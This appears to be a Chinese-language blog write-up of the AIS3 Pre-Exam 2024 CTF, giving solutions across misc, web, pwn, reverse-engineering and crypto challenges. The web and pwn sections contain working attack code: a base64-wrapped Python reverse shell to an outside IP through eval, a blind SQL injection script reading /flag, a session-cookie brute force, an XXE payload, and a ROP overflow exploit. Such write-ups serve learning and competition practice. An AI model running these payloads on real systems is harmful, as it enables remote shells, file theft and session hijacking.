---
title: AIS3 PRE EXAM 2024 Write Up
date: 2023-05-25 10:25:30
tags:
- CTF
---
# AIS3 PRE EXAM 2024 Write Up
## Before all
rk.2 !!!
打得很開心\>w\<b

## Write Up
### Misc
#### Welcome
直接送 :D

#### Three Dimensional
解包後會看到一個封包檔,Follow TCP Stream會看到一坨 G CODE

最後貼去線上[NC VIEWER](https://ncviewer.com/)就可以拿FLAG:

> Flag:AIS3{b4d1y_tun3d_PriN73r}
#### Emoji Console
用emoji寫bash?!
**Payload 1**
```
🐱 ⭐ -> cat *
```
獲得app.py以及emoji.json,可以做對照,同時知道flag是一個目錄。

**Payload 2**
```
💿 🚩 😜 😶 🐱 ⭐ -> cd flag ;p :| cat *
```
先cd flag,然後遇到;切割符,最後即便 p :| 是不具意義的執行依然不影響 cat\*。
找到flag-printer.py:

**Payload 3**
執行剛剛那隻程式就好:
```
💿 🚩 😜 😶 🐍 ⭐ -> cd flag ;p :| python *
```

> Flag:AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
#### Quantum Nim Heist
一個怪怪的Nim遊戲,正常玩必輸
玩了幾次,發現玩到後面如果在選單輸入`0 0`可以讓電腦亂走(?)
最後抓準時間認真玩就過了(出洞的點應該是輸入的時候沒有做範圍外判斷)。

> Flag:AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}
#### Hash Guesser
一個圖片上傳網站,會隨機生成一個16\*16的圖片,最後用這個函數去比對是否一樣:
```py
from PIL import Image, ImageChops
def is_same_image(img1: Image.Image, img2: Image.Image) -> bool:
return ImageChops.difference(img1, img2).getbbox() == None
```
其中,ImageChops.difference函數產生的資料大小是`min(img1, img2)`,這時候只要生成一個大小為一的影像就有1/2的機率過:
**exp.py**
```py
def generate_test_image():
image = Image.new("L", (1, 1), 0)
return image
```

[Reference](https://pc-pillow.readthedocs.io/en/latest/ImageChops/ImageChops_difference.html)
> Flag:AIS3{https://github.com/python-pillow/Pillow/issues/2982}
### Web
#### Evil Calculator
```py
from flask import Flask, request, jsonify, render_template
app = Flask(__name__)
@app.route('/calculate', methods=['POST'])
def calculate():
data = request.json
expression = data['expression'].replace(" ","").replace("_","")
try:
result = eval(expression)
except Exception as e:
result = str(e)
return jsonify(result=str(result))
@app.route('/')
def index():
return render_template('index.html')
if __name__ == '__main__':
app.run("0.0.0.0",5001)
```
可以發現直接把東西丟到eval處理,但是要避開使用空格和底線`_`
在字串中可以利用`\x20`繞過空格限制
最後利用base64編碼以及 `exec` 的函數搭配 reverse shell payload進行RCE
**exp.py**
```py
import base64
import requests as req
payload='import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.113.193.219",9003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
payload=base64.b64encode(payload.encode())
payload=f'exec("import\\x20base64;exec(base64.b64decode({payload}))")'
url='http://chals1.ais3.org:5001/calculate'
web=req.post(url, json={"expression":payload})
print(web.text)
```
**result**

> Flag:AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
#### It's MyGO!!!!!
裸裸ㄉSQLI(boolean base)
二分搜開下去就好:
唯一要注意的是有UNICOODE字元,要搭配hex()函數
**exp.py**
```py
import requests as req
flag=''
charset='0123456789ABCDEF'
def test(number, char):
url=f'http://chals1.ais3.org:11454/song?id=2 AND HEX(SUBSTRING(LOAD_FILE("/flag"), 1, {number}))>="{flag+char}"'
web=req.get(url)
return 'No Data' not in web.text
while flag[-2:]!='7D':
l, r=0, 16
while l+1<r:
mid=(l+r)//2
#print(l, r)
if test(len(flag)+1, charset[mid]):
l=mid
else:
r=mid
flag+=charset[l]
if len(flag)%2==0:
print(bytes.fromhex(flag))
print(bytes.fromhex(flag).decode('utf-8'))
```
> Flag:AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}
#### Login Panel Revenge Revenge
**unintended solution warning**
從 `views.py` 中可以得知帳號密碼為admin/admin,而登入後還必須去`/2fa`輸入正確的2fa代碼才可以拿到flag,另外有一個`image`的函數可以取得`/loginPanel`目錄下的內容。
**views.py**
```py
from django.shortcuts import render, redirect
from django.http import HttpResponse
import random
from .forms import LoginForm, _2faForm
import logging
from base64 import b64decode
import os
# Create your views here.
def index(request):
return redirect(login)
def login(request):
if request.method == "POST":
form = LoginForm(request.POST)
if not form.is_valid():
return redirect(f'/login?error=Invalid CAPTCHA')
if (form.cleaned_data["username"] == "admin" and form.cleaned_data["password"] == "admin"):
request.session["username"] = "admin"
request.session["2fa_passed"] = False
code = random.randint(100000, 2**1024)
request.session["2fa_code"] = code
logging.warning(f'2FA code: {code}')
return redirect(_2fa)
return redirect(f'/login?error=Invalid username/password')
return render(request, "login.html", {"error": request.GET.get("error"), 'form': LoginForm()})
def _2fa(request):
if not request.session.get("username"):
return redirect("/login")
if request.session.get("2fa_passed"):
return redirect("/dashboard")
if request.method == "POST":
form = _2faForm(request.POST)
if not form.is_valid():
return redirect(f'https://www.youtube.com/watch?v=W8DCWI_Gc9c')
code = request.session.get("2fa_code")
if form.cleaned_data['code'] == str(code):
request.session["2fa_passed"] = True
return redirect("/dashboard")
return redirect("/2fa?error=Invalid code")
return render(request, "2fa.html", {"error": request.GET.get("error")})
def dashboard(request):
if not request.session.get("username"):
return redirect(login)
if not request.session.get("2fa_passed"):
return redirect(login)
FLAG = os.environ.get("FLAG")
return render(request, "dashboard.html", {"username": request.session.get("username"), "FLAG": FLAG})
def image(request):
# return the b64decoded image of file parameter
path = request.GET.get("file")
if not path:
return HttpResponse("No file specified", status=400)
path = b64decode(path).decode()
path = os.path.join('/loginPanel', path)
path = os.path.normpath(path)
# prevent directory traversal
if not path.startswith('/loginPanel'):
return HttpResponse("Invalid file", status=400)
# read the file
with open(path, 'rb') as f:
data = f.read()
# return the file
return HttpResponse(data, content_type="image/png")
def logout(request):
request.session.flush()
return redirect(login)
```
再去看`settings.py`中這一段:
```py
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
```
結合剛剛`views.py`中`image`的函數,可以下載`db.sqlite3`下來:
```bash
wget http://chals1.ais3.org:36743/image/?file=ZGIuc3FsaXRlMw== -O db.sqlite3
```
接著利用腳本讀取db.sqlite3:
**checksql.py**
```py
#!/bin/python3
import sqlite3
import argparse
import os
def print_sql_content(database_file):
os.system(f'if [ -f "{database_file}" ]; then echo "File exists: {database_file}";fi')
try:
conn = sqlite3.connect(database_file)
cursor = conn.cursor()
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
tables = cursor.fetchall()
for table in tables:
table_name = table[0]
print(f"Table: {table_name}")
cursor.execute(f"SELECT * FROM {table_name};")
rows = cursor.fetchall()
for row in rows:
print(row)
conn.close()
except sqlite3.Error as e:
print("SQLite error:", e)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Print the content of an SQLite3 database file.")
parser.add_argument("--sql", type=str, help="Path to the SQLite3 database file, usage: --sql=blog.sql", required=True)
args = parser.parse_args()
print_sql_content(args.sql)
```

其中,`django_session`的Table存放了所有session,結合目前已經有一個選手解出這題,當中必然有一個session是被認證過的,把所有session彙整到wordlist.txt後寫腳本暴力即可獲得flag:
**exp.py**
```py
import os
f=open('wordlist.txt', 'r')
wordlist=f.read().split('\n')
for i in wordlist:
text=os.popen(f'curl -i http://chals1.ais3.org:36743/dashboard/ --cookie "sessionid={i}"').read()
if '/login/' not in text:
print(text)
print(i)
```

> Flag:AIS3{Yet_An0th3r_l0gin_pan3l_c2hbKnXIa_c!!!!!}
#### Capoost
一個黑箱的web題,登入後經過嘗試會發現讀取模板的參數有LFI,嘗試讀取Dockerfile:
`/template/read?name=../Dockerfile`
```dockerfile
FROM golang:1.19 as builder
LABEL maintainer="Chumy"
RUN apt install make
COPY src /app
COPY Dockerfile-easy /app/Dockerfile
WORKDIR /app
RUN make clean && make && make readflag && \
mv bin/readflag /readflag && \
mv fl4g1337 /fl4g1337 && \
chown root:root /readflag && \
chmod 4555 /readflag && \
chown root:root /fl4g1337 && \
chmod 400 /fl4g1337 && \
touch .env && \
useradd -m -s /bin/bash app && \
chown -R app:app /app
USER app
ENTRYPOINT ["./bin/capoost"]
```
發現網站是由GoLANG寫成的,嘗試讀取`main.go`:
`/template/read?name=../main.go`
```go
package main
import (
// "net/http"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/go-errors/errors"
"capoost/router"
"capoost/utils/config"
// "capoost/utils/database"
"capoost/utils/errutil"
"capoost/middlewares/auth"
)
```
注意到每個.go的檔案都會有import,就可以從這裡面找到需要的檔案路徑位置。
**Login Bypass**
注意到`models/user/user.go`中的init()以及Login()函數
```go
func init() {
const adminname = "4dm1n1337"
database.GetDB().AutoMigrate(&User{})
if _, err := GetUser(adminname); err == nil {
return
}
buf := make([]byte, 12)
_, err := rand.Read(buf)
if err != nil {
log.Panicf("error while generating random string: %s", err)
}
User{
//ID: 1,
Username: adminname,
Password: password.New(base64.StdEncoding.EncodeToString(buf)),
}.Create()
}
func (user User) Login() bool {
if user.Username == "" {
return false
}
if _, err := GetUser(user.Username); err == nil {
var loginuser User
result := database.GetDB().Where(&user).First(&loginuser)
return result.Error == nil
}
return user.Create() == nil
}
```
可以得到兩個訊息:
1. 管理員名稱是`4dm1n1337`
2. 管理登入的函數動用到sql的部分接受傳入空資料
關於第二點,可以透過[這篇文章](https://xz.aliyun.com/t/13870?time__1311=mqmxnQG%3DKQTqlxGgx%2BxCq%3DOOO4xWuhD&alichlgref=https%3A%2F%2Fwww.google.com%2F)找到利用細節,會返回第一個元素,也就是ID=1的管理員帳號


**SSTI**
觀察`router/template/template.go`
```go
func Init(r *gin.RouterGroup) {
router = r
router.POST("/upload", auth.CheckSignIn, auth.CheckIsAdmin, upload)
router.GET("/list", auth.CheckSignIn, list)
router.GET("/read", auth.CheckSignIn, read)
}
func upload(c *gin.Context) {
reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
template := c.PostForm("template")
name := reg.ReplaceAllString(c.PostForm("name"), "")
f, err := os.Create(path.Clean(path.Join("./template", name)))
if err != nil {
panic(err)
}
_, err = f.WriteString(template)
if err != nil {
panic(err)
}
c.String(200, "Upload success")
}
```
可以利用剛剛拿到的admin上傳template進行SSTI,但是GO SSTI只在內建或者已定義函數的情況下成立,不過剛好有一個gadget在`post.go`:
```go
func read(c *gin.Context) {
postid, err := strconv.Atoi(c.DefaultQuery("id", "0"))
if err != nil {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid ID",
})
}
nowpost, err := post.GetPost(uint(postid))
if err != nil {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid ID",
})
}
t := template.New(nowpost.Template)
if nowpost.Owner.ID == 1 {
t = t.Funcs(template.FuncMap{
"G1V3m34Fl4gpL34s3": readflag,
})
}
t = template.Must(t.ParseFiles(path.Join("./template", nowpost.Template)))
b := new(bytes.Buffer)
if err = t.Execute(b, nowpost.Data); err != nil {
panic(err)
}
nowpost.Count++
sum := 0
posts, _ := post.GetAllPosts()
for _, now := range posts {
if nowpost.ID == now.ID {
sum += nowpost.Count
} else {
sum += now.Count
}
}
var percent int
if sum != 0 {
percent = (nowpost.Count * 100) / sum
} else {
errutil.AbortAndError(c, &errutil.Err{
Code: 500,
Msg: "Sum of post count can't be 0",
})
}
if strings.Contains(b.String(), "AIS3") {
errutil.AbortAndError(c, &errutil.Err{
Code: 403,
Msg: "Flag deny",
})
}
nowpage := page{
Data: b.String(),
Count: nowpost.Count,
Percent: percent,
}
c.JSON(200, nowpage)
database.GetDB().Save(&nowpost)
}
func readflag() string {
out, _ := exec.Command("/readflag").Output()
return strings.Trim(string(out), " \n\t")
}
```
由裡面的FuncMap得知,如果template解析到`G1V3m34Fl4gpL34s3`,而且貼出來的人是管理員,那它會噴flag出來。
有兩個小問題,第一個是禁止把AIS3這幾個字母帶出來,但可以用GO內建的slice函數繞過,所以打進去的template應該要是:`{{slice G1V3m34Fl4gpL34s3 2}}`
第二個問題是`/post/create`有禁止管理員造訪:
```go
func Init(r *gin.RouterGroup) {
router = r
router.POST("/create", auth.CheckSignIn, auth.CheckIsNotAdmin, create)
router.GET("/list", auth.CheckSignIn, list)
router.GET("/read", auth.CheckSignIn, read)
}
```
**json serialization pollution**
為了解決剛剛的問題,仔細觀察`router/post/post.go`以及`models/post/post.go`
```go
type postjson struct {
ID uint `json:"id"`
Title string `json:"title"`
Owner string `json:"owner"`
Template string `json:"template"`
Data PostDataMap `json:"data"`
Count int `json:"count"`
}
func create(c *gin.Context) {
userdata, _ := c.Get("user")
postdata := post.Post{
Owner: userdata.(user.User),
}
err := c.ShouldBindJSON(&postdata)
if err != nil || postdata.Title == "" {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid Post",
})
return
}
reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
postdata.Template = reg.ReplaceAllString(postdata.Template, "")
if _, err := os.Stat(path.Clean(path.Join("./template", postdata.Template)));
path.Clean(path.Join("./template", postdata.Template)) == path.Clean("./template") ||
errors.Is(err, os.ErrNotExist) {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid Post",
})
return
}
postdata.Create()
c.String(200, "Post success")
}
```
發現序列化綁成json的時候會把所有參數直接吃進去,而"owner"字串正好就可以由一般使用者發文後渲染成`4dm1n1337`。
像這樣:
```json
{"title":"pwned by whale120",
"owner":"4dm1n1337",
"template":"womp",
"data":{}
}
```
**exp.py**
```py
import argparse
import requests as req
from pwn import info
cur_id=1
def check_cur_id():
global cur_id
bad_response=req.get(url+'/post/read?id=-1', cookies=user_cookies).text
while req.get(url+f'/post/read/?id={cur_id}', cookies=user_cookies).text != bad_response:
cur_id+=1
def login_user(username, password):
data={"username":username, "password":password}
cookies={}
cookies['session']=req.post(url+'/user/login', json=data).headers['Set-Cookie'].split(';')[0].replace('session=', '')
return cookies
def upload_template():
payload='{{slice G1V3m34Fl4gpL34s3 4}}'
data={'template':payload, 'name':'womp'}
req.post(url+'/template/upload', data=data, cookies=admin_cookies)
def read_flag():
payload={"title":"pwned by whale120","owner":"4dm1n1337","template":"womp","data":{}}
web=req.post(url+'/post/create', json=payload, cookies=user_cookies)
flag=req.get(url+f'/post/read?id={cur_id}', cookies=user_cookies).json()["data"]
info(f'Flag : AIS3{flag}')
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit Capooooooooost!!!")
parser.add_argument("--url", type=str, help="The target capoost base url.", required=True)
args = parser.parse_args()
url=args.url
if url[-1]=='/':
url=url[:-1]
user_cookies=login_user('whale120', 'whale120')
admin_cookies=login_user('4dm1n1337', '')
info('Login Success')
check_cur_id()
info(f'Current post id = {cur_id}')
upload_template()
info('Template Uploaded')
read_flag()
```

> Flag:AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}
#### Ebook Parser
**app.py**
```py
import tempfile
import pathlib
import secrets
from os import getenv, path
import ebookmeta
from flask import Flask, request, jsonify
from flask.helpers import send_from_directory
app = Flask(__name__, static_folder='static/')
app.config['JSON_AS_ASCII'] = False
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
@app.route('/', methods=["GET"])
def index():
return send_from_directory('static', 'index.html')
@app.route('/parse', methods=["POST"])
def upload():
if 'ebook' not in request.files:
return jsonify({'error': 'No File!'})
file = request.files['ebook']
with tempfile.TemporaryDirectory() as directory:
suffix = pathlib.Path(file.filename).suffix
fp = path.join(directory, f"{secrets.token_hex(8)}{suffix}")
file.save(fp)
app.logger.info(fp)
try:
meta = ebookmeta.get_metadata(fp)
return jsonify({'message': "\n".join([
f"Title: {meta.title}",
f"Author: {meta.author_list_to_string()}",
f"Lang: {meta.lang}",
])})
except Exception as e:
print(e)
return jsonify({'error': f"{e.__class__.__name__}: {str(e)}"}), 500
if __name__ == "__main__":
port = getenv("PORT", 8888)
app.run(host="0.0.0.0", port=port)
```
上github挖到了這個issue:[https://github.com/dnkorpushov/ebookmeta/issues/16](https://github.com/dnkorpushov/ebookmeta/issues/16)
payload改一下上傳就拿到flagㄌ
**exp.fb2**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
<title-info>
<genre>antique</genre>
<author><first-name></first-name><last-name>&xxe;</last-name></author>
<book-title>&xxe;</book-title>
<lang>&xxe;</lang>
</title-info>
<document-info>
<author><first-name></first-name><last-name>Unknown</last-name></author>
<program-used>calibre 6.13.0</program-used>
<date>26.5.2024</date>
<id>eb5cbf82-22b5-4331-8009-551a95342ea0</id>
<version>1.0</version>
</document-info>
<publish-info>
</publish-info>
</description>
<body>
<section>
<p><root></p>
<p>12345</p>
<p></root></p>
</section>
</body>
</FictionBook>
```

> Flag: AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}
### Pwn
#### Mathter
在main函數中會先進入calculator的函數:

輸入q就可以略過
略過後會進到 goodbye 的函數,這邊使用`gets`函數而出現了 Buffer Overflow的洞:

大小為4
而這個程式結尾沒有__stack__chk__fail,所以不需要繞過保護。
接著觀察程式,發現win1和win2的函數,分別把flag切成前半以及後半段:
**win1**

**win2**

可是要讓`a1`變成他們分別要求的數字,利用radare2做觀察:

arg在rdi上面,最後只需加上pop rdi的gadget改掉rdi值就可以跳過去拿到flag。

最後採用兩次連線的方法前後拿到flag並組合:
**exp.py**
```py
from pwn import *
context.arch='amd64'
#rop=ROP('./mathter')
#r=process('./mathter')
# datas
win1=0x004018c5
win2=0x00401997
key1=0xDEADBEEF
key2=0xCAFEBABE
pop_rdi=0x402540
# exploit
r=remote('chals1.ais3.org', 50001)
r.sendline(b'q')
r.sendline(b'Y'*12+p64(pop_rdi)+p64(key1)+p64(win1))
print(r.recvall().decode())
r.close()
r=remote('chals1.ais3.org', 50001)
r.sendline(b'q')
r.sendline(b'Y'*12+p64(pop_rdi)+p64(key2)+p64(win2))
print(r.recvall().decode())
r.close()
```
> Flag:AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
### Rev
#### The Long Print
直接運行程式會發現跑很久,以ida打開發現有sleep,先把秒數patch成0
**before**

**after**

接著會發現每次輸出都會被fflush刪除flag內容,利用strace指令去追蹤:
```bash
strace ./flag-printer-dist
```

最後再一個個撿回來拼就好:
> Flag:AIS3{You_are_the_master_of_time_management!!!!?}
#### 火拳のエース
一個密碼檢查程式,先看ghidra結果:
**print_flag()**
```c
void print_flag(void)
{
int local_14;
__useconds_t local_10;
printf(
"What I\'m about to say. Old Man... Everyone... And you, Luffy... Even though... I\'m so wor thless... Even though... I carry the blood of a demon... Thank you... For loving me\nThe fla g is "
);
local_10 = 2000000;
usleep(2000000);
for (local_14 = 0; (&DAT_0804a008)[local_14] != '\0'; local_14 = local_14 + 1) {
usleep(local_10);
printf("%c ",(int)(char)(&DAT_0804a008)[local_14]);
fflush(stdout);
local_10 = local_10 << 1;
}
usleep(local_10);
puts("\n...uh, the rest, I\'ve forgotten it. Do you remember the rest of it?");
return;
}
```
再去翻殘留資料段可以拿到前面的flag:`AIS3{G0D`(或者直接跑起來)

**main**
```c
undefined4 main(void)
{
char cVar1;
uint __seed;
int iVar2;
int local_14;
__seed = time((time_t *)0x0);
srand(__seed);
buffer0 = (char *)malloc(9);
buffer1 = (char *)malloc(9);
buffer2 = (char *)malloc(9);
buffer3 = (char *)malloc(9);
memset(buffer0,0,9);
memset(buffer1,0,9);
memset(buffer2,0,9);
memset(buffer3,0,9);
print_flag();
__isoc99_scanf("%8s %8s %8s %8s",buffer0,buffer1,buffer2,buffer3);
xor_strings(buffer0,&DAT_0804a163,buffer0);
xor_strings(buffer1,&DAT_0804a16c,buffer1);
xor_strings(buffer2,&DAT_0804a175,buffer2);
xor_strings(buffer3,&DAT_0804a17e,buffer3);
for (local_14 = 0; local_14 < 8; local_14 = local_14 + 1) {
cVar1 = complex_function((int)buffer0[local_14],local_14);
buffer0[local_14] = cVar1;
cVar1 = complex_function((int)buffer1[local_14],local_14 + 0x20);
buffer1[local_14] = cVar1;
cVar1 = complex_function((int)buffer2[local_14],local_14 + 0x40);
buffer2[local_14] = cVar1;
cVar1 = complex_function((int)buffer3[local_14],local_14 + 0x60);
buffer3[local_14] = cVar1;
}
iVar2 = strncmp(buffer0,"DHLIYJEG",8);
if (iVar2 == 0) {
iVar2 = strncmp(buffer1,"MZRERYND",8);
if (iVar2 == 0) {
iVar2 = strncmp(buffer2,"RUYODBAH",8);
if (iVar2 == 0) {
iVar2 = strncmp(buffer3,"BKEMPBRE",8);
if (iVar2 == 0) {
puts("Yes! I remember now, this is it!");
goto LAB_08049869;
}
}
}
}
puts("It feels slightly wrong, but almost correct...");
LAB_08049869:
free(buffer0);
free(buffer1);
free(buffer2);
free(buffer3);
return 0;
}
```
其中,`xor_strings`就真的是xor兩個字串,再去看`complex_function`
**complex_function()**
```c
int complex_function(int param_1,int param_2)
{
int iVar1;
int local_10;
if ((0x40 < param_1) && (param_1 < 0x5b)) {
local_10 = (param_1 + -0x41 + param_2 * 0x11) % 0x1a;
iVar1 = param_2 % 3 + 3;
param_2 = param_2 % 3;
if (param_2 == 2) {
local_10 = ((local_10 - iVar1) + 0x1a) % 0x1a;
}
else if (param_2 < 3) {
if (param_2 == 0) {
local_10 = (local_10 * iVar1 + 7) % 0x1a;
}
else if (param_2 == 1) {
local_10 = (iVar1 * 2 + local_10) % 0x1a;
}
}
return local_10 + 0x41;
}
puts("It feels slightly wrong, but almost correct...");
/* WARNING: Subroutine does not return */
exit(1);
}
```
最後,把`complex_function`寫成py,暴力炸出每一位後再把資料段挖出來做xor就結束~
**exp.py**
```py
from Crypto.Util.number import *
from pwn import *
def complex_function(a1, a2):
v8 = (17 * a2 + a1 - 65) % 26
v7 = a2 % 3 + 3
v2 = a2 % 3
if a2 % 3 == 2:
v8 = (v8 - v7 + 26) % 26
elif v2 <= 2:
if v2:
if v2 == 1:
v8 = (2 * v7 + v8) % 26
else:
v8 = (v7 * v8 + 7) % 26
return v8 + 65
flag=[0]*32
key1=long_to_bytes(0x0E0D7D060F177604)
key2=long_to_bytes(0x6D001B7C6C136211)
key3=long_to_bytes(0X1E7E061307660E71)
key4=long_to_bytes(0X17141D7079677433)
key=key1+key2+key3+key4
ans1="DHLIYJEG"
ans2="MZRERYND"
ans3="RUYODBAH"
ans4="BKEMPBRE"
ans=[ans1, ans2, ans3, ans4]
for i in range(8):
for j in range(4):
for k in range(65, 91):
if complex_function(k, i+j*32)==ord(ans[j][i]):
flag[i+j*8]=k
# print(xor(flag, 0))
# print(xor(flag, key))
print(b'AIS3{G0D'+xor(flag, key))
```
> Flag:AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
### Crypto
#### babyRSA
**babyRSA.py**
```py
import random
from Crypto.Util.number import getPrime
from secret import flag
def gcd(a, b):
while b:
a, b = b, a % b
return a
def generate_keypair(keysize):
p = getPrime(keysize)
q = getPrime(keysize)
n = p * q
phi = (p-1) * (q-1)
e = random.randrange(1, phi)
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
d = pow(e, -1, phi)
return ((e, n), (d, n))
def encrypt(pk, plaintext):
key, n = pk
cipher = [pow(ord(char), key, n) for char in plaintext]
return cipher
def decrypt(pk, ciphertext):
key, n = pk
plain = [chr(pow(char, key, n)) for char in ciphertext]
return ''.join(plain)
public, private = generate_keypair(512)
encrypted_msg = encrypt(public, flag)
decrypted_msg = decrypt(private, encrypted_msg)
print("Public Key:", public)
print("Encrypted:", encrypted_msg)
# print("Decrypted:", decrypted_msg)
```
簡單觀察,會發現對於每個字母c,都有唯一對應的名文,所以先枚舉0~255的case建表以後再把output轉回去就好。
**exp.py**
```py
e, n=(64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859...
table={}
for i in range(256):
table[pow(i, e, n)]=i
enc=[595829831363684348568167997333134467464337960343847242211744244649697378748021161293486079793280988417...
flag=''
for i in enc:
flag+=chr(table[i])
print(flag)
```
> Flag:AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}
#### easyRSA
**easyRSA.py**
```py
#!/bin/python3
import random
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from hashlib import sha256
from base64 import b64encode, b64decode
from secret import flag
import signal
def alarm(second):
# This is just for timeout.
# It should not do anything else with the challenge.
def handler(signum, frame):
print('Timeout!')
exit()
signal.signal(signal.SIGALRM, handler)
signal.alarm(second)
def gcd(a, b):
while b:
a, b = b, a % b
return a
def generate_keypair(keysize):
p = getPrime(keysize)
q = getPrime(keysize)
n = p * q
phi = (p-1) * (q-1)
e = random.randrange(1, phi)
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
d = pow(e, -1, phi)
# for CRT optimize
dP = d % (p-1)
dQ = d % (q-1)
qInvP = pow(q, -1, p)
return ((e, n), (dP, dQ, qInvP, p, q))
def verify(pk, message: bytes, signature: bytes):
e, n = pk
data = bytes_to_long(sha256(message).digest())
return data == pow(bytes_to_long(signature), e, n)
bug = lambda : random.randrange(0, 256)
def sign(sk, message: bytes):
dP, dQ, qInvP, p, q = sk
data = bytes_to_long(sha256(message).digest())
# use CRT optimize to sign the signature,
# but there are bugs in my code QAQ
a = bug()
mP = pow(data, dP, p) ^ a
b = bug()
mQ = pow(data, dQ, q) ^ b
k = (qInvP * (mP - mQ)) % p
signature = mQ + k * q
return long_to_bytes(signature)
if __name__ == "__main__":
alarm(300)
public, private = generate_keypair(512)
print("""
***********************************************************
Have you heard CRT optimization for RSA? I have implemented
a CRT-RSA signature. However, there are bugs in my code...
---------------------------------------------------------
1) Print public key.
2) Sign a message.
3) Give me flag?
4) Bye~
***********************************************************
""")
for _ in range(5):
try:
option = input("Option: ")
if int(option) == 1:
print('My public key:')
print(f"e, n = {public}")
elif int(option) == 2:
message = input("Your message (In Base64 encoded): ")
message = b64decode(message.encode())
if b"flag" in message:
print(f"No, I cannot give you the flag!")
else:
signature = sign(private, message)
signature = b64encode(signature)
print(f"Signature: {signature}")
elif int(option) == 3:
signature = input("Your signature (In Base64 encoded): ")
signature = b64decode(signature.encode())
message = b64encode(b"Give me the flag!")
if verify(public, message, signature):
print(f"Well done! Here is your flag :{flag}")
else :
print("Invalid signature.")
else:
print("Bye~~~~~")
break
except Exception as e:
print(e)
print("Something wrong?")
exit()
```
重點觀察`sign()`
```py
def sign(sk, message: bytes):
dP, dQ, qInvP, p, q = sk
data = bytes_to_long(sha256(message).digest())
# use CRT optimize to sign the signature,
# but there are bugs in my code QAQ
a = bug()
mP = pow(data, dP, p) ^ a
b = bug()
mQ = pow(data, dQ, q) ^ b
k = (qInvP * (mP - mQ)) % p
signature = mQ + k * q
return long_to_bytes(signature)
```
兩次丟一樣的東西進去的結果會不一樣(因為有`bug()`),但因為`bug()`的值不大,導致兩次結果會十分接近,並且`k`值很高機率不同,所以可以嘗試兩者相減後減1~256的結果與n的最大公因數,大於1者即找到`q`的值。
**exp.py**
```py
from Crypto.Util.number import *
from base64 import *
from hashlib import sha256
import math
n=int(input('n:'))
e=int(input('e:'))
c1=bytes_to_long(b64decode(input('c1:')))
c2=bytes_to_long(b64decode(input('c2:')))
diff=abs(c1-c2)
for i in range(0, 256):
if math.gcd(diff-i, n) > 1:
q=math.gcd(diff-i, n)
print('Found')
print(q)
p=n//q
phi=(p-1)*(q-1)
d=inverse(e, phi)
data=b64encode(b"Give me the flag!")
data=bytes_to_long(sha256(data).digest())
data=long_to_bytes(pow(data, d, n))
print(b64encode(data))
```

> Flag:AIS3{IJustWantItFasterQAQ}
#### zkp
**zkp.py**
```py
#!/bin/python3
import random
from secret import flag
from Crypto.Util.number import bytes_to_long, getPrime, isPrime
import signal
def alarm(second):
# This is just for timeout.
# It should not do anything else with the challenge.
def handler(signum, frame):
print('Timeout!')
exit()
signal.signal(signal.SIGALRM, handler)
signal.alarm(second)
def gen_prime(n):
while True:
p = 1
while p < (1 << (n - 1)) :
p *= getPrime(5)
p = p * 2 + 1
if isPrime(p): break
return p
def zkp_protocol(p, g, sk):
# y = pow(g, sk, p)
r = random.randrange(p-1)
a = pow(g, r, p)
print(f'a = {a}')
print('Give me the challenge')
try:
c = int(input('c = '))
w = (c * sk + r) % (p-1)
print(f'w = {w}')
# you can verify I know the flag with
# g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p)
except:
print('Invalid input.')
if __name__ == "__main__":
alarm(300)
assert len(flag) == 60
p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487
# p is generated by gen_prime(1024)
g = 5
y = pow(g, bytes_to_long(flag), p)
print("""
******************************************************
Have you heard of Zero Knowledge Proof? I cannot give
you the flag, but I want to show you I know the flag.
So, let me show you with ZKP.
------------------------------------------------------
1) Printe public key.
2) Run ZKP protocol.
3) Bye~
******************************************************
""")
for _ in range(3):
try:
option = input("Option: ")
if int(option) == 1:
print('My public key:')
print(f'p = {p}')
print(f'g = {g}')
print(f'y = {y}')
elif int(option) == 2:
zkp_protocol(p, g, bytes_to_long(flag))
else:
print("Bye~~~~~")
break
except:
print("Something wrong?")
exit()
```
可以看出來 p 是 smooth prime,結合$y=g^{ flag} (mod p)$,可以直接丟sage `discrete_log`解。
**solve.sage**
```py
from Crypto.Util.number import *
